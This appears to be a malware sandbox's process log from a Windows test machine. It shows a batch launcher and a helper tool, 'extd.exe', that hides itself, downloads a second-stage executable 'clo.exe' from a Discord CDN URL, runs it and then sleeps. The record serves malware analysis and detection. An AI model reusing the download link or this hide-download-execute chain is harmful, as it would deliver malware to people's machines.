cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\530C.tmp\530D.tmp\530E.bat C:\Users\test22\AppData\Local\Temp\clip.exe"
2172extd.exe C:\Users\test22\AppData\Local\Temp\530C.tmp\530D.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
2264extd.exe C:\Users\test22\AppData\Local\Temp\530C.tmp\530D.tmp\extd.exe "/random" "90000009" "" "" "" "" "" "" ""
2312extd.exe C:\Users\test22\AppData\Local\Temp\530C.tmp\530D.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/868908533897363470/870626071547097128/clo.exe" "clo.exe" "" "" "" "" "" ""
2364clo.exe C:\Users\test22\AppData\Local\Temp\1245\clo.exe
2748extd.exe C:\Users\test22\AppData\Local\Temp\530C.tmp\530D.tmp\extd.exe "/sleep" "900000" "" "" "" "" "" "" ""
2532